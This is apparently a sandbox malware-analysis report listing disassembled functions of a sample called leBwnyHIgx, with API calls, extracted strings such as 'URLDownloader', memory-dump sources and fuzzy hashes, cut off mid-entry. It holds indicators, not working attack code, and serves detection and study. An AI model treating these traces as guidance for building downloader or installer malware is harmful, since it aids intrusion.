Function 00CE6D1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00CE6D5F
___raise_securityfailure.LIBCMT ref: 00CE6E47

Strings

r<e, xrefs: 00CE6E28

Memory Dump Source

Source File: 00000000.00000002.2077740458.0000000000CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_leBwnyHIgx.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: r<e
API String ID: 3761405300-3210016143
Opcode ID: 450f55da5f99c408a49f7ed2eee0c8ae3ebd1ba68c36369af010e05196f36eeb
Instruction ID: ab00a3611c5fd8ed0a2b33da80d7814ed93805dc9c4decfa6144dfacafea3fa9
Opcode Fuzzy Hash: 450f55da5f99c408a49f7ed2eee0c8ae3ebd1ba68c36369af010e05196f36eeb
Instruction Fuzzy Hash: DD21EFB4618328DBF714CF29DDE1E647BA4BB09704F10D12AE6149B3A0E3B0DA84CF44

Function 0064FAA7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 005FA9A8: GetCurrentProcess.KERNEL32(00000028), ref: 005FA9B8
Part of subcall function 005FA9A8: OpenProcessToken.ADVAPI32(00000000,00000028), ref: 005FA9BE

SetForegroundWindow.USER32(?), ref: 0064FAE0

Strings

Restarting Windows., xrefs: 0064FAB7
Not restarting Windows because Uninstall is being run from the debugger., xrefs: 0064FB17

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Process$CurrentForegroundOpenTokenWindow
String ID: Not restarting Windows because Uninstall is being run from the debugger.$Restarting Windows.
API String ID: 3179053593-4147564754
Opcode ID: 6f7ce231d12e7b0590e1307c51da8fb0449973e99580584b367fabd86af75305
Instruction ID: d4bf9f36ef96bf7cd5cd4c99b625b6b1cd4e930e58df0cf614d5cda783460847
Opcode Fuzzy Hash: 6f7ce231d12e7b0590e1307c51da8fb0449973e99580584b367fabd86af75305
Instruction Fuzzy Hash: 341182346002449FEB04EB94E896FD837E6EB46304F5150BAF804AB3E2CB78AD41C716

Function 004085D8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,lF,004085A0,00000000,?,lF), ref: 00408632

Strings

lF, xrefs: 0040861B, 0040861E
lF, xrefs: 0040862A, 0040862D

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CreateThread
String ID: lF$lF
API String ID: 2422867632-1147170537
Opcode ID: 92e9bf36f33061f7ffdd7491b72976703523c6d92d1ec2ca90417502ef735539
Instruction ID: c79f99a2a18cb61d71feea710bf58fa565dd156bb3bf8665f6744fc7077f86ea
Opcode Fuzzy Hash: 92e9bf36f33061f7ffdd7491b72976703523c6d92d1ec2ca90417502ef735539
Instruction Fuzzy Hash: 33017171605214AFC750CF9D9980B8EB7ECDB58361F10443AF508E73C1DA75DD0087A8

Function 00412B68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,TWindowDisabler-Window,?,B)[,?,?,?,00000001,00000000,?,00619EC3,0066978C), ref: 00412BA7

Strings

TWindowDisabler-Window, xrefs: 00412BA5
B)[, xrefs: 00412B9D, 00412BA0

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CreateWindow
String ID: B)[$TWindowDisabler-Window
API String ID: 716092398-1377837600
Opcode ID: 684ecf370dcf3c6758cf9d82a20f104a3e22c221ceaad4062406452089a2450d
Instruction ID: d28f3a87fa927ce1738d04863a1b4a791b24e040aa09da8391ad3ec004184475
Opcode Fuzzy Hash: 684ecf370dcf3c6758cf9d82a20f104a3e22c221ceaad4062406452089a2450d
Instruction Fuzzy Hash: 74F074B2604118AF8B40DE9DDC81EDB77ECEB4D264B05412ABA08E3201D634ED118BA4

Function 004309F4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(2C), ref: 00430A04

Part of subcall function 00408B6C: SysReAllocStringLen.OLEAUT32(00000000,?,00000071), ref: 00408B86

Strings

2C, xrefs: 00430A00, 00430A24, 00430A57, 00430A03, 00430A27
WC, xrefs: 00430A42

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AllocInitStringVariant
String ID: 2C$WC
API String ID: 4010818693-495268985
Opcode ID: df370b3d9da647af4402dd277e6d6925b7b152161429339756cd47c20e76cd35
Instruction ID: 96bda85ea37abc6d5613da839bc8b5d910035a35706cb6c2dd4bd2584f76f0b9
Opcode Fuzzy Hash: df370b3d9da647af4402dd277e6d6925b7b152161429339756cd47c20e76cd35
Instruction Fuzzy Hash: F1F0A471700608AFD700EB99DC92E9FB3FCEB48700FA04176F500E3290DA78AE0486A9

Function 00643D50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,0064413B,00000000,00644156,?,00000000,00000000,?,0064F4D6,00000006), ref: 00643DB2

Strings

RegisteredOrganization, xrefs: 00643DA1
RegisteredOwner, xrefs: 00643D8F

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Close
String ID: RegisteredOrganization$RegisteredOwner
API String ID: 3535843008-1113070880
Opcode ID: 301571e57bfd22d937d0251fdeb13fcc7fbfda80df1ff37fee867360dc904415
Instruction ID: 79ba88330415bd06f82effed11eda8edd571365fffeee20c77ff8264b35cb024
Opcode Fuzzy Hash: 301571e57bfd22d937d0251fdeb13fcc7fbfda80df1ff37fee867360dc904415
Instruction Fuzzy Hash: E9F0B470B04194AFDB10DAD4DD46BAA7BAFEF85344F241029E2409B391D6B0EF40CB55

Function 0065061C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 006449EC: FreeLibrary.KERNEL32(?,00650648,00000000,00650657,?,?,?,?,?,0065113B), ref: 00644A02

Part of subcall function 006446DC: GetTickCount.KERNEL32 ref: 00644724

Part of subcall function 00600808: SendMessageW.USER32(?,00000B01,00000000,00000000), ref: 00600827

GetCurrentProcess.KERNEL32(00000001,?,?,?,?,0065113B), ref: 00650671
TerminateProcess.KERNEL32(00000000,00000001,?,?,?,?,0065113B), ref: 00650677

Strings

Detected restart. Removing temporary directory., xrefs: 0065062B

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Process$CountCurrentFreeLibraryMessageSendTerminateTick
String ID: Detected restart. Removing temporary directory.
API String ID: 1717587489-3199836293
Opcode ID: 6f776ffacad2af89d35688e394897bf6e83705840bcb12dca368fa9c17a4540f
Instruction ID: 464bd2d836879dd3474a0288fef1e2a55e7a5b05e4adc84fe2957298e905eb94
Opcode Fuzzy Hash: 6f776ffacad2af89d35688e394897bf6e83705840bcb12dca368fa9c17a4540f
Instruction Fuzzy Hash: F1E0ABB52483402EF39137F6BC13A5B3F4EE7C7362F61043AFA0481441CC599864C138

Function 005B1C48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll,ChangeWindowMessageFilterEx,?,00000004,006619DC,006006F2,00600B6C,00600610,?,00000B06,00000000,00000000), ref: 005B1C62

Part of subcall function 00411E58: GetProcAddress.KERNEL32(?,?), ref: 00411E82

Part of subcall function 005B1BAC: GetModuleHandleW.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,?,005B1CA2,?,00000004,006619DC,006006F2,00600B6C,00600610,?,00000B06,00000000,00000000), ref: 005B1BC3

Strings

user32.dll, xrefs: 005B1C5D
ChangeWindowMessageFilterEx, xrefs: 005B1C58

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: ChangeWindowMessageFilterEx$user32.dll
API String ID: 1883125708-2676053874
Opcode ID: 6878c14f71f69b0723f96bc96d4fcaf4194bacb9fe624374ffc45413c8f78ab0
Instruction ID: 9df0a5d5a98339ba50c13b8e37e12c07401c504aaeadd98406a6411a3d2f2949
Opcode Fuzzy Hash: 6878c14f71f69b0723f96bc96d4fcaf4194bacb9fe624374ffc45413c8f78ab0
Instruction Fuzzy Hash: 6DF05C302B07109FD7416F659C44FD53EADFB44342F401924F504962A0C7F41C80C76C

Function 005B1CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

Part of subcall function 005B1D88: GetModuleHandleW.KERNEL32(user32.dll,ShutdownBlockReasonDestroy,?,?,005B1D06,?,?,?,0064F751,0000000A,00000002,00000001,00000031,00000000,0064F97F), ref: 005B1D96

GetModuleHandleW.KERNEL32(user32.dll,ShutdownBlockReasonCreate,?,?,?,0064F751,0000000A,00000002,00000001,00000031,00000000,0064F97F,?,00000000,0064FA4C), ref: 005B1D10

Part of subcall function 00411E58: GetProcAddress.KERNEL32(?,?), ref: 00411E82

Strings

ShutdownBlockReasonCreate, xrefs: 005B1D06
user32.dll, xrefs: 005B1D0B

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: ShutdownBlockReasonCreate$user32.dll
API String ID: 1883125708-2866557904
Opcode ID: e7dab807d206312efdb0421e04762fd5465d9bb62d82bfaba76103e697829b8c
Instruction ID: 40c05ee6389ba05014c80f0bb6a4273d02a3409cfaf78f9ef14993339606f823
Opcode Fuzzy Hash: e7dab807d206312efdb0421e04762fd5465d9bb62d82bfaba76103e697829b8c
Instruction Fuzzy Hash: 14E0C2633A1E512E538072FA2CA1CEF088C9DA6A5A3900C36F505E3152D948DC02017D

Function 10015F82 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(1001C31C,?,URLDownloader,?,100015AC,1001C6D4), ref: 10015F8D
ReleaseSRWLockExclusive.KERNEL32(1001C31C,?,100015AC,1001C6D4), ref: 10015FC7

Strings

URLDownloader, xrefs: 10015F85

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: URLDownloader
API String ID: 17069307-1891997712
Opcode ID: c507f487d7d077287d29d7c699356b7419b72d79d52241de38d01319ea44f226
Instruction ID: 6adcf340ed2f6481699652d891028e0f11606ccd9733c9b7c4ba67a8641b8b52
Opcode Fuzzy Hash: c507f487d7d077287d29d7c699356b7419b72d79d52241de38d01319ea44f226
Instruction Fuzzy Hash: 24F08234500618DFD310DF18C884E1977A4EB49676F15423DE9698F291C731D982CA52

Function 005B09F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetSystemWow64DirectoryW,?,005F8CBC,00000000,005F8D8E,?,?,0066978C,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005B0A0A

Part of subcall function 00411E58: GetProcAddress.KERNEL32(?,?), ref: 00411E82

Strings

GetSystemWow64DirectoryW, xrefs: 005B0A00
kernel32.dll, xrefs: 005B0A05

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 1646373207-1816364905
Opcode ID: c75330aa7c8c5df12c7e8eb959d8e15b84fad59c46a3f443c355cdc9ba688192
Instruction ID: 6e2db57afe9603e13bbcb28d8d27c56aba657c1237ebb3fd90a72f709f2b52c2
Opcode Fuzzy Hash: c75330aa7c8c5df12c7e8eb959d8e15b84fad59c46a3f443c355cdc9ba688192
Instruction Fuzzy Hash: AEE0266178070013DB00A2BA4D83EEF158A5B94700F105C3D7999D62D2EDBCE88082A2

Function 00586704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23windowCOMMON

Download Yara Rule

APIs

CreatePopupMenu.USER32 ref: 00586722
CreateMenu.USER32 ref: 0058672F

Strings

HOX, xrefs: 00586713

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CreateMenu$Popup
String ID: HOX
API String ID: 257293969-2476314470
Opcode ID: 3fef10723f1ca8ff26ecb47d99a67e8efce527985917f034024353e37165076f
Instruction ID: 16515f4fc79d7f94603b2a7c1aa1a4c0f70e6e138b00580e915dac0b9c35f144
Opcode Fuzzy Hash: 3fef10723f1ca8ff26ecb47d99a67e8efce527985917f034024353e37165076f
Instruction Fuzzy Hash: F5F0C930604201CFDB00BF66D5C9B887B92BB55308F8454B9AC45AF25BD77488448FB1

Function 005B1BAC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,?,005B1CA2,?,00000004,006619DC,006006F2,00600B6C,00600610,?,00000B06,00000000,00000000), ref: 005B1BC3

Part of subcall function 00411E58: GetProcAddress.KERNEL32(?,?), ref: 00411E82

Strings

user32.dll, xrefs: 005B1BBE
ChangeWindowMessageFilter, xrefs: 005B1BB9

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ChangeWindowMessageFilter$user32.dll
API String ID: 1646373207-2498399450
Opcode ID: 32f4064eec838c34c8f47ef9a1994eb5c6ace0f1976ee1f6d02c9e7c94af625d
Instruction ID: 8c40f62a632f2fa97ec710fedad9e0295ca43648f38e841b9d187b64430073cf
Opcode Fuzzy Hash: 32f4064eec838c34c8f47ef9a1994eb5c6ace0f1976ee1f6d02c9e7c94af625d
Instruction Fuzzy Hash: 5DE09A75220700DFD781AF64AC88FDA3FE9F708B01F002819F544921A0D6F818C0CA28

Function 005B1D88 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

